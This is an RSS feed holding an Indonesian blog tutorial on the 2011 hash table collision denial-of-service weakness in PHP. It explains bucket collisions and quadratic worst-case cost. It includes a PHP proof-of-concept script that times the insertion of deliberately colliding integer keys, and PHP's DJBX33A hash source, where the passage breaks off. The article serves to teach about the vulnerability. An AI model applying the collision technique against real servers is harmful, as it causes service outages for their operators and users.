<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" version="2.0">

<channel>
	<title>Ilmu Hacking</title>
	
	<link>http://www.ilmuhacking.com</link>
	<description>Hackingology, Computer Security Blog</description>
	<lastBuildDate>Thu, 02 Feb 2012 15:42:13 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/ilmuhacking" /><feedburner:info xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" uri="ilmuhacking" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><item>
		<title>Memahami Serangan Hash table Collision Denial of Service</title>
		<link>http://www.ilmuhacking.com/web-security/hashtable-collision-dos/</link>
		<comments>http://www.ilmuhacking.com/web-security/hashtable-collision-dos/#comments</comments>
		<pubDate>Thu, 12 Jan 2012 07:53:40 +0000</pubDate>
		<dc:creator>Rizki Wicaksono</dc:creator>
				<category><![CDATA[Web Security]]></category>

		<guid isPermaLink="false">http://www.ilmuhacking.com/?p=2745</guid>
		<description><![CDATA[Pada Desember 2011 lalu, nRuns AG mempublikasikan kerentantan pada implementasi hash table yang bisa dieksploitasi untuk melakukan serangan denial of service. Karena hash table adalah struktur data dasar yang tersedia di hampir semua bahasa pemrograman, maka kerentanan ini bisa dieksploitasi di hampir semua bahasa pemrograman yang ada, termasuk PHP, ASP.NET, Java, Ruby dsb. Sebagai tulisan [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Pada Desember 2011 lalu, <a href="http://www.nruns.com/_downloads/advisory28122011.pdf">nRuns AG</a> mempublikasikan kerentantan pada implementasi hash table yang bisa dieksploitasi untuk melakukan serangan denial of service. Karena hash table adalah struktur data dasar yang tersedia di hampir semua bahasa pemrograman, maka kerentanan ini bisa dieksploitasi di hampir semua bahasa pemrograman yang ada, termasuk PHP, ASP.NET, Java, Ruby dsb.</p>
<p style="text-align: justify;">Sebagai tulisan pembuka di tahun 2012, saya akan membahas mengenai apa itu hash table, cara kerja hash table, di mana kerentanan implementasi hash table saat ini dan bagaimana cara mengeksploitasinya.</p>
<p><span id="more-2745"></span></p>
<p style="text-align: justify;"><strong>Associative array atau Map</strong></p>
<p style="text-align: justify;">Sebelum berbicara mengenai hash table, kita perlu tahu dulu bahwa  associative array (disebut juga map atau dictionary) adalah abstract data type (ADT) yang terdiri dari pasangan kunci dan nilai dan dalam associative array tidak boleh ada kunci yang duplikat atau dobel (nilai boleh dobel, tapi kunci tidak boleh). Kunci ini bertindak seperti halnya nama dari data yang disimpan, sehingga dengan mengasosiasikan suatu data dengan kunci berupa nama atau identifier yang lain, data yang diinginkan bisa diambil dengan mudah dengan menyebutkan kuncinya.</p>
<p><img class="aligncenter" style="border-style: initial; border-color: initial; -webkit-user-select: none;" src="http://www.mactech.com/articles/mactech/Vol.16/16.10/AssociativeArrays/fig01.gif" alt="" /></p>
<p style="text-align: justify;">Dalam contoh associative array di atas bila kita ingin tahu produsen mobil ini siapa, kita cukup mencari dengan kunci &#8220;make&#8221;, maka akan keluar datanya yaitu &#8220;Jeep&#8221;. Bila kita ingin tahu warna mobil ini apa, kita mencari dengan kunci &#8220;color&#8221;, maka akan keluar datanya &#8220;green&#8221;.</p>
<p style="text-align: justify;"><strong>Lalu apa hubungannya associative array dengan hash table?</strong></p>
<p style="text-align: justify;">Associative array adalah abstract data type, artinya strutktur data yang masih berupa konsep atau spesifikasi saja.  Hash table adalah salah satu (bukan satu-satunya) implementasi dari associative array, artinya hash table ini adalah concrete data type (sudah konkrit bukan lagi abstract/konseptual).</p>
<blockquote><p>The basic idea of a hash table is that each item that might be stored in the table has a natural location in the table. This natural location can be computed as a function of the item itself. When searching for an item, it is not necessary to go through all the possible locations in the table; instead, you can go directly to the natural location of the item &#8211; Data Structures and Algorithms, David J. Eck</p></blockquote>
<p style="text-align: justify;">Kutipan di atas menggambarkan ide dasar dari hash table dengan baik. Bayangkan bila kita ingin mencari orang yang bernama Agus di sebuah desa yang terdiri dari 100 rumah dan kita harus mencarinya satu per satu dari rumah ke rumah, tentu akan memakan usaha dan waktu yang sangat lama. Hash table menghindari pencarian linear seperti ini. Daripada mencari satu per satu di semua rumah, dengan satu formula matematis tertentu, bisa diketahui bahwa berdasarkan namanya, Agus berada di rumah nomor XX (natural location), sehingga kita cukup mencari di satu rumah saja. Jauh lebih cepat dan efisien bukan?</p>
<p style="text-align: justify;">Fungsi atau formula matematis yang digunakan untuk mencari lokasi data (natural location) dari suatu kunci dalam hash table adalah fungsi hash. Output dari fungsi hash ini disebut dengan hash code. Hash table pada dasarnya adalah sebuah array (setiap elemen array ini disebut dengan bucket), jadi fungsi hash ini akan menghasilkan index array berupa integer, dimana lokasi data disimpan.</p>
<p style="text-align: justify;">Saya sudah membuat gambar animasi di bawah ini untuk memperlihatkan proses memasukkan data dalam hash table yang terdiri dari 6 bucket, data yang dimasukkan adalah nama sebagai key, dan tanggal lahir sebagai datanya.</p>
<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2012/01/nocollision1.gif"><img class="aligncenter size-full wp-image-2780" title="nocollision" src="http://www.ilmuhacking.com/wp-content/uploads/2012/01/nocollision1.gif" alt="" width="486" height="323" /></a></p>
<p style="text-align: justify;">Dalam gambar animasi di atas tidak terjadi collision, masing-masing data dimasukkan dalam bucket yang berbeda jadi operasi insert bisa dilakukan dengan cepat. Berikutnya kita akan melihat kasus ketika terjadi hash collision, artinya ada lebih dari satu data yang dimasukkan dalam bucket yang sama.</p>
<p style="text-align: justify;"><strong>Hash collision</strong></p>
<p style="text-align: justify;">Perhatikan bahwa jumlah kemungkinan kunci sangat banyak, bahkan tak terhingga. Bila kunci adalah nama orang, jumlah kemungkinan nama orang sangat banyak, sedangkan jumlah sel dalam hash table terbatas. Hal ini memungkinkan timbulnya collision, artinya ada 2 atau lebih kunci yang menghasilkan hash code yang sama (berebut dalam satu sel yang sama).</p>
<p style="text-align: justify;">Karena collision tidak mungkin terhindarkan, implementasi hash table harus menentukan apa yang harus dilakukan bila terjadi collision. Salah satu cara yang banyak dipakai adalah dengan mengijinkan lebih dari satu nilai dalam satu lokasi. Umumnya hash table menggunakan struktur data linked list untuk menyimpan lebih dari satu nilai dalam satu lokasi  (bucket) yang sama.</p>
<p style="text-align: justify;">Bila data akan dimasukkan ke dalam bucket yang sudah ada isinya (collision terjadi), maka operasinya tidak sesederhana pada kasus bucket kosong. Mari kita perhatikan animasi yang saya buat di bawah ini.</p>
<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2012/01/collision.gif"><img class="aligncenter size-full wp-image-2778" title="collision" src="http://www.ilmuhacking.com/wp-content/uploads/2012/01/collision.gif" alt="" width="486" height="500" /></a></p>
<p style="text-align: justify;">Ketika memasukkan data (insert), pada bucket yang tidak kosong maka perlu dilakukan operasi komparasi kunci untuk melihat apakah kunci yang sama sudah ada di bucket itu atau belum. Bila kunci yang sama ternyata ada di situ, artinya operasi insert berubah menjadi operasi update, yaitu mengubah data yang lama dengan yang baru. Bila kunci yang dimasukkan tidak ada di situ, maka kunci dan data yang dimasukkan akan disimpan di node paling akhir dari bucket tersebut.</p>
<p style="text-align: justify;">Perhatikan sekali lagi animasi di atas.</p>
<ol>
<li>Pada saat memasukkan data agus, kondisi bucket no.4 sudah berisi 1 node yaitu john. Sebelum bisa memasukkan data, harus dilakukan komparasi dulu 1x, apakah john==agus yaitu apakah kunci di node pertama dalam bucket tersebut adalah agus? Bila ternyata sama tidak perlu membuat node baru, hanya melakukan update node tersebut dengan data baru.</li>
<li>Pada saat memasukkan data adi, kondisi bucket no. 4 sudah berisi 2 node yaitu john dan agus. Sebelum bisa memasukkan data, harus dilakukan komparasi dulu 2x, apakah john==adi ? dan apakah agus==adi?</li>
<li>Pada saat memasukkan data budi, kondisi bucket no. 4 sudah berisi 3 node: john, agus, adi. Sebelum bisa memasukkan data, harus dilakukan komparasi sebanyak 3x, apakah john=budi? , apakah agus=budi? dan apakah adi=budi?</li>
</ol>
<div style="text-align: justify;">Bisa disimpulkan bahwa bila terjadi collision dan di dalam bucket tersebut sudah berisi n data, untuk melakukan operasi insert sebuah data, diperlukan operasi komparasi maximal n kali. Komparasi maximal n kali terjadi bila data yang akan dimasukkan tidak ada dalam bucket (harus membuat node baru).</div>
<div style="text-align: justify;"></div>
<blockquote>
<div style="text-align: justify;">Ini artinya ketika terjadi collision, prosesor harus bekerja jauh lebih berat daripada ketika tidak terjadi collision</div>
<div style="text-align: justify;"></div>
</blockquote>
<p style="text-align: justify;"><strong>Normal vs Worst Case</strong></p>
<p style="text-align: justify;">Kita sudah membahas sebelumnya bagaimana prosesor harus bekerja jauh lebih berat ketika terjadi collision daripada ketika tidak terjadi collision. Kita bisa melihat bagaimana bentuk hash table dalam kondisi normal dan ketika terjadi kasus terburuk (worst case) pada gambar di bawah ini.</p>
<div id="attachment_2771" class="wp-caption aligncenter" style="width: 608px"><a href="http://www.ilmuhacking.com/wp-content/uploads/2012/01/normalvsworst.jpg"><img class="size-full wp-image-2771" title="normalvsworst" src="http://www.ilmuhacking.com/wp-content/uploads/2012/01/normalvsworst.jpg" alt="" width="598" height="194" /></a><p class="wp-caption-text">Source: Crosby and Wallach&#39;s &quot;Denial of Service via Algorithmic Complexity Attacks&quot;</p></div>
<p style="text-align: justify;">Gambar di sisi kiri adalah gambar hash table dalam kasus yang normal atau rata-rata. Dalam kasus yang normal, collision memang tidak terhindarkan, namun dalam jumlah yang wajar jadi tidak membahayakan. Namun gambar di sisi kanan adalah kasus terburuk, dimana semua data berkumpul dalam satu bucket yang sama. Kalau yang terjadi adalah kasus terburuk, memang hasilnya benar-benar buruk, yaitu prosesor akan bekerja sangat berat dan berujung pada denial of service (DoS).</p>
<p style="text-align: justify;">Mungkinkah kejadian worst case itu terjadi ? ya mungkin saja, tapi sangat jarang terjadi, kecuali bila memang sengaja untuk melakukan Denial of Service.</p>
<p style="text-align: justify;"><strong>Kompleksitas Algoritma</strong></p>
<p style="text-align: justify;">Ketika tidak terjadi collision, usaha yang harus dilakukan prosesor untuk memasukkan 1 data adalah konstan, anggap lah satu, jadi kalau ada n data maka usaha yang harus dilakukan prosesor adalah 1*n, jadi bisa dikatakan kompleksitasnya O(n) atau linear complexity.</p>
<p style="text-align: justify;">Ketika terjadi collision, usaha yang harus dilakukan prosesor untuk memasukkan 1 data ke dalam hash table tergantung dari data yang sudah ada dalam bucket yang sama. Mari kita analisa kasus terburuk dimana n data dengan kunci yang unik (tidak ada yang duplikat) dimasukkan ke dalam hash table dan semuanya berkumpul dalam bucket yang sama.</p>
<ol>
<li>Ketika memasukkan data yang pertama, bucket masih kosong, usaha yang harus dilakukan prosesor adalah 1.</li>
<li>Ketika memasukkan data yang ke-2, bucket berisi 1 node, akibatnya prosesor harus melaukan komparasi 1 kali dan 1 usaha lagi untuk memasukkan data di akhir node, jadi total 2 usaha.</li>
<li>Ketika memasukkan data yang ke-3, bucket berisi 2 node, akibatnya prosesor harus melakukan komparasi 2 kali dan 1 usaha lagi untuk memasukkan data di akhir node, jadi total 3 usaha.</li>
<li>Dan seterusnya, data yang ke-n, total usaha adalah n.</li>
</ol>
<p style="text-align: justify;">Jadi total usaha yang harus dilakukan untuk memasukkan n data adalah 1+2+3+&#8230;.+n = n * (n+1) / 2. Dalam menilai kompleksitas algoritma, n+1 bisa dianggap n dan 1/2 bisa diabaikan karena kita tidak sedang mengukur secara eksak, kita hanya melihat kompleksitasnya relatif terhadap jumlah input. Jadi bisa dikatakan kompleksitas ketika terjadi worst case adalah n*n atau O(n²) (quadratic complexity), artinya bila jumlah input dinaikkan menjadi 2x lipat, maka usaha atau waktu yang dibutuhkan prosesor naik menjadi 4x lipat.</p>
<p style="text-align: justify;">Perbedaan antara linear O(n) ketika tidak terjadi collision dan quadratic complexity O(n²) dalam situasi worst case sangat signifikan, hal ini bisa dilihat dari grafik di bawah ini.</p>
<div class="wp-caption alignnone" style="width: 560px"><img src="http://recursive-design.com/images/posts/2010-12-07-comp-sci-101-big-o-notation/Time_Complexity.png" alt="" width="550" height="319" /><p class="wp-caption-text">source: http://recursive-design.com/blog/2010/12/07/comp-sci-101-big-o-notation/</p></div>
<p><strong> Implementasi Hash table dalam PHP</strong></p>
<p>Dalam source code php, hash table diimplementasikan dalam dua file yaitu zend_hash.c dan zend_hash.h. Berikut ini adalah definisi tipe hashtable dan bucket.</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2012/01/strukturdataphp.jpg"><img class="aligncenter size-full wp-image-2812" title="strukturdataphp" src="http://www.ilmuhacking.com/wp-content/uploads/2012/01/strukturdataphp.jpg" alt="" width="534" height="611" /></a></p>
<p style="text-align: justify;">Isi utama dari Hashtable adalah arBuckets yaitu array of Bucket. Bucket adalah tempat data disimpan dalam bentuk pasangan (arKey, pData). Bucket juga merupakan node dalam linked list yang memiliki pointer ke Bucket lain di sebelah kanan dan kirinya. Lebih mudahnya bisa dilihat pada gambar di bawah ini.</p>
<div id="attachment_2814" class="wp-caption aligncenter" style="width: 572px"><a href="http://www.ilmuhacking.com/wp-content/uploads/2012/01/phphashtable.jpg"><img class="size-full wp-image-2814" title="phphashtable" src="http://www.ilmuhacking.com/wp-content/uploads/2012/01/phphashtable.jpg" alt="" width="562" height="523" /></a><p class="wp-caption-text">source: http://stblog.baidu-tech.com/?p=763</p></div>
<p style="text-align: justify;">Skenario dalam gambar di atas adalah memasukkan 6 data dalam urutan K1, K2, K4, K5, K6, K7. K1 dimasukkan dalam bucket no. 1, kemudian diikuti dengan K2 dalam bucket no. m. Berikutnya adalah K4 dimasukkan dalam bucket no.2. Ketika memasukkan K5, ternyata dimasukkan dalam bucket no.1 yang sudah berisi K1 sebelumnya. Jadi K5 dan K1 membentuk linked list dalam bucket no. 1. Begitu juga dengan K6 dan K7 dimasukkan dalam bucket yang sama dengan K2 sehingga membentuk linked list dalam bucket no. m.</p>
<p style="text-align: justify;">Selain dalam arBuckets, juga ada linked list global yang menyimpan semua data dalam hash table. Hashtable menyimpan pointer ke data pertama (pListHead), pointer internal dan pointer ke data terakhir (pListTail).</p>
<p style="text-align: justify;"><strong>Key to Bucket</strong></p>
<p style="text-align: justify;">Bagaimana proses mengubah dari key menjadi lokasi bucket dalam hash table? Secara umum prosesnya adalah sebagai berikut:</p>
<ol>
<li>hash(key) =&gt; hashcode berupa integer</li>
<li>hashcode diubah menjadi index dari 0-table size dengan cara modulo atau bit masking</li>
</ol>
<p style="text-align: justify;">Keluaran fungsi hash adalah integer yang berukuran besar, padahal ukuran hash table biasanya tidak besar. Secara default di PHP ukuran hash table adalah 8 bucket sehingga untuk hash table berukuran 8, hashcode harus diubah menjadi nilai integer dari 0 s/d 7.</p>
<p style="text-align: justify;">Cara pertama adalah dengan modulo, suatu integer berapapun besarnya bila di modulo dengan 8, hasilnya pasti antara 0 s/d 7. Cara kedua adalah masking dengan operasi AND. Suatu integer 32 bit, bila di-AND dengan 111, hasilnya adalah semua bit diubah menjadi 0 kecuali bit-1 sampai bit ke-3 yang tetap apa adanya. Hasil dari masking ini adalah integer antara 0 s/d 7. PHP memakai cara yang kedua, yaitu AND masking dengan (nTableSize-1).</p>
<p style="text-align: justify;">PHP membedakan antara key berupa integer dan key berupa string. Bila key adalah integer, maka hashcode adalah key itu sendiri. Bila key adalah string, maka fungsi hash akan mengubahnya menjadi hashcode berupa integer.</p>
<p style="text-align: justify;">Dari proses pengubahan key menjadi lokasi bucket bisa disimpulkan ada 2 kondisi agar terjadi collision:</p>
<ol>
<li>Memilih key yang menghasilkan hash code yang sama. Hash code yang sama tentu akan menghasilkan posisi index bucket yang sama setelah dilakukan operasi masking AND.</li>
<li>Memilih key dengan hash code berbeda namun menghasilkan index bucket yang sama setelah dilakukan masking AND.</li>
</ol>
<p style="text-align: justify;">Mari kita coba cara yang ke-2 di bawah ini.</p>
<p><strong>Hash Collision dengan Key Integer</strong></p>
<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2012/01/nikicsrc.jpg"><img title="nikicsrc" src="http://www.ilmuhacking.com/wp-content/uploads/2012/01/nikicsrc.jpg" alt="" width="516" height="108" /></a></p>
<p style="text-align: justify;">Gambar di atas adalah eksekusi dari source php dari situs <a href="http://nikic.github.com/2011/12/28/Supercolliding-a-PHP-array.html">nikic.github.com</a>. Dua kasus tersebut tugas yang dikerjakan sama, yaitu memasukkan angka 0 sebanyak 65536 ke dalam hash table. Hanya saja perbedaannya, kasus pertama disengaja memasukkan 65536 angka 0 tersebut seluruhnya di bucket yang sama (100% collision) , akibatnya prosesor harus bekerja ekstra keras dan dibutuhkan waktu 115 detik untuk menyelesaikan tugasnya. Normalnya hanya dibutuhkan waktu 0.04 detik saja. Sangat signifikan perbedaannya bukan?</p>
<p style="text-align: justify;">Kasus di atas adalah 100% collision dengan cara yang ke-2, yaitu memilih key yang memiliki hash code berbeda namun menghasilkan index bucket yang sama setelah dilakukan masking AND. Mari kita lihat source codenya:</p>
<p style="text-align: justify;">

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span> 
<span style="color: #000088;">$size</span> <span style="color: #339933;">=</span> <span style="color: #990000;">pow</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">2</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">16</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// 16 is just an example, could also be 15 or 17</span>
<span style="color: #000088;">$startTime</span> <span style="color: #339933;">=</span> <span style="color: #990000;">microtime</span><span style="color: #009900;">&#40;</span><span style="color: #009900; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$array</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$key</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #000088;">$maxKey</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$size</span> <span style="color: #339933;">-</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">*</span> <span style="color: #000088;">$size</span><span style="color: #339933;">;</span> <span style="color: #000088;">$key</span> <span style="color: #339933;">&lt;=</span> <span style="color: #000088;">$maxKey</span><span style="color: #339933;">;</span> <span style="color: #000088;">$key</span> <span style="color: #339933;">+=</span> <span style="color: #000088;">$size</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #000088;">$array</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$key</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000088;">$endTime</span> <span style="color: #339933;">=</span> <span style="color: #990000;">microtime</span><span style="color: #009900;">&#40;</span><span style="color: #009900; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'Inserting '</span><span style="color: #339933;">,</span> <span style="color: #000088;">$size</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">' evil elements took '</span><span style="color: #339933;">,</span> <span style="color: #000088;">$endTime</span> <span style="color: #339933;">-</span> <span style="color: #000088;">$startTime</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">' seconds'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$startTime</span> <span style="color: #339933;">=</span> <span style="color: #990000;">microtime</span><span style="color: #009900;">&#40;</span><span style="color: #009900; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$array</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$key</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #000088;">$maxKey</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$size</span> <span style="color: #339933;">-</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span> <span style="color: #000088;">$key</span> <span style="color: #339933;">&lt;=</span> <span style="color: #000088;">$maxKey</span><span style="color: #339933;">;</span> <span style="color: #339933;">++</span><span style="color: #000088;">$key</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #000088;">$array</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$key</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000088;">$endTime</span> <span style="color: #339933;">=</span> <span style="color: #990000;">microtime</span><span style="color: #009900;">&#40;</span><span style="color: #009900; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'Inserting '</span><span style="color: #339933;">,</span> <span style="color: #000088;">$size</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">' good elements took '</span><span style="color: #339933;">,</span> <span style="color: #000088;">$endTime</span> <span style="color: #339933;">-</span> <span style="color: #000088;">$startTime</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">' seconds'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

</p>
<p style="text-align: justify;">
Mengapa bisa terjadi 100% collision? Perhatikan tabel di bawah ini.
</p>
<p style="text-align: justify;">
<a href="http://www.ilmuhacking.com/wp-content/uploads/2012/01/keymask.jpg"><img src="http://www.ilmuhacking.com/wp-content/uploads/2012/01/keymask.jpg" alt="" title="keymask" width="360" height="121" class="aligncenter size-full wp-image-2827" /></a>
</p>
<p style="text-align: justify;">
Karena key berupa integer, maka hash code sama dengan key. Karena size adalah 8, maka bit mask adalah 111 (7 desimal). Key dipilih 0, 8, 16 dan seterusnya kelipatan 8 karena key tersebut dalam binary 3 bit paling bawahnya bernilai 000. Karena 3 bit paling bawah dari key selalu 000, maka ketika dilakukan operasi AND dengan 0111, hasilnya selalu 0. Jadi semua key yang dipilih (0,8,16,24&#8230;) menghasilkan index bucket yang sama yaitu bucket 0 sehingga semua data berkumpul di bucket 0 (100% collision).
</p>
<p><strong>Hash Collision dengan Key String</strong></p>
<p style="text-align: justify;">
Perbedaan antara key berupa integer dan string hanya pada hash code yang dihasilkan. PHP 5 menggunakan fungsi hash DJBX33A untuk mengubah string menjadi hashcode berupa integer. Selanjutnya hashcode juga akan dimasking dengan operasi AND. PHP 4 menggunakan fungsi hash yang sedikit berbeda, yaitu DJBX33X, kita akan membahas fungsi ini beserta eksploitasinya di artikel selanjutnya.
</p>
<p style="text-align: justify;">
Dalam kasus sebelumnya kita bisa dengan mudah memilih key yang menghasilkan 100% collision karena key yang digunakan adalah integer. Dalam kasus tersebut kita memakai cara yang ke-2, yaitu hash code berbeda, namun hasil masking menghasilkan index bucket yang sama. Dalam key berupa string kita akan memakai cara pertama, yaitu memilih key yang menghasilkan hash code yang sama.
</p>
<p style="text-align: justify;">
Sulit kah mencari key yang menghasilkan hash yang sama? Jangan dibayangkan hash disini adalah cryptographic hash seperti MD5 atau SHA yang memang sudah dirancang untuk sangat sulit mencari dua string dengan hash yang sama. Fungsi hash DJBX33A sangat sederhana, jadi tidak sesulit mencari collision di MD5 atau SHA.
</p>
<p style="text-align: justify;">
Di bawah ini adalah implementasi fungsi hash DJBX33A dalam php:
</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">static</span> <span style="color: #000000; font-weight: bold;">inline</span> ulong zend_inline_hash_func<span style="color: #009900;">&#40;</span><span style="color: #993333;">const</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>arKey<span style="color: #339933;">,</span> uint nKeyLength<span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
	<span style="color: #993333;">register</span> ulong hash <span style="color: #339933;">=</span> <span style="color: #0000dd;">5381</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #808080; font-style: italic;">/* variant with the hash unrolled eight times */</span>
	<span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">;</span> nKeyLength <span style="color: #339933;">&gt;=</span> <span style="color: #0000dd;">8</span><span style="color: #339933;">;</span> nKeyLength <span style="color: #339933;">-=</span> <span style="color: #0000dd;">8</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		hash <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>hash <span style="color: #339933;">&lt;&lt;</span> <span style="color: #0000dd;">5</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> hash<span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #339933;">*</span>arKey<span style="color: #339933;">++;</span>
		hash <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>hash <span style="color: #339933;">&lt;&lt;</span> <span style="color: #0000dd;">5</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> hash<span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #339933;">*</span>arKey<span style="color: #339933;">++;</span>
		hash <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>hash <span style="color: #339933;">&lt;&lt;</span> <span style="color: #0000dd;">5</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> hash<span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #339933;">*</span>arKey<span style="color: #339933;">++;</span>
		hash <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>hash <span style="color: #339933;">&lt;&lt;</span> <span style="color: #0000dd;">5</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> hash<span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #339933;">*</span>arKey<span style="color: #339933;">++;</span>
		hash <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>hash <span style="color: #339933;">&lt;&lt;</span> <span style="color: #0000dd;">5</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> hash<span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #339933;">*</span>arKey<span style="color: #339933;">++;</span>
		hash <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>hash <span style="color: #339933;">&lt;&lt;</span> <span style="color: #0000dd;">5</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> hash<span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #339933;">*</span>arKey<span style="color: #339933;">++;</span>
		hash <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>hash <span style="color: #339933;">&lt;&lt;</span> <span style="color: #0000dd;">5</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> hash<span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #339933;">*</span>arKey<span style="color: #339933;">++;</span>
		hash <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>hash <span style="color: #339933;">&lt;&lt;</span> <span style="color: #0000dd;">5</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> hash<span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #339933;">*</span>arKey<span style="color: #339933;">++;</span>
	<span style="color: #009900;">&#125;</span>
	<span style="color: #b1b100;">switch</span> <span style="color: #009900;">&#40;</span>nKeyLength<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
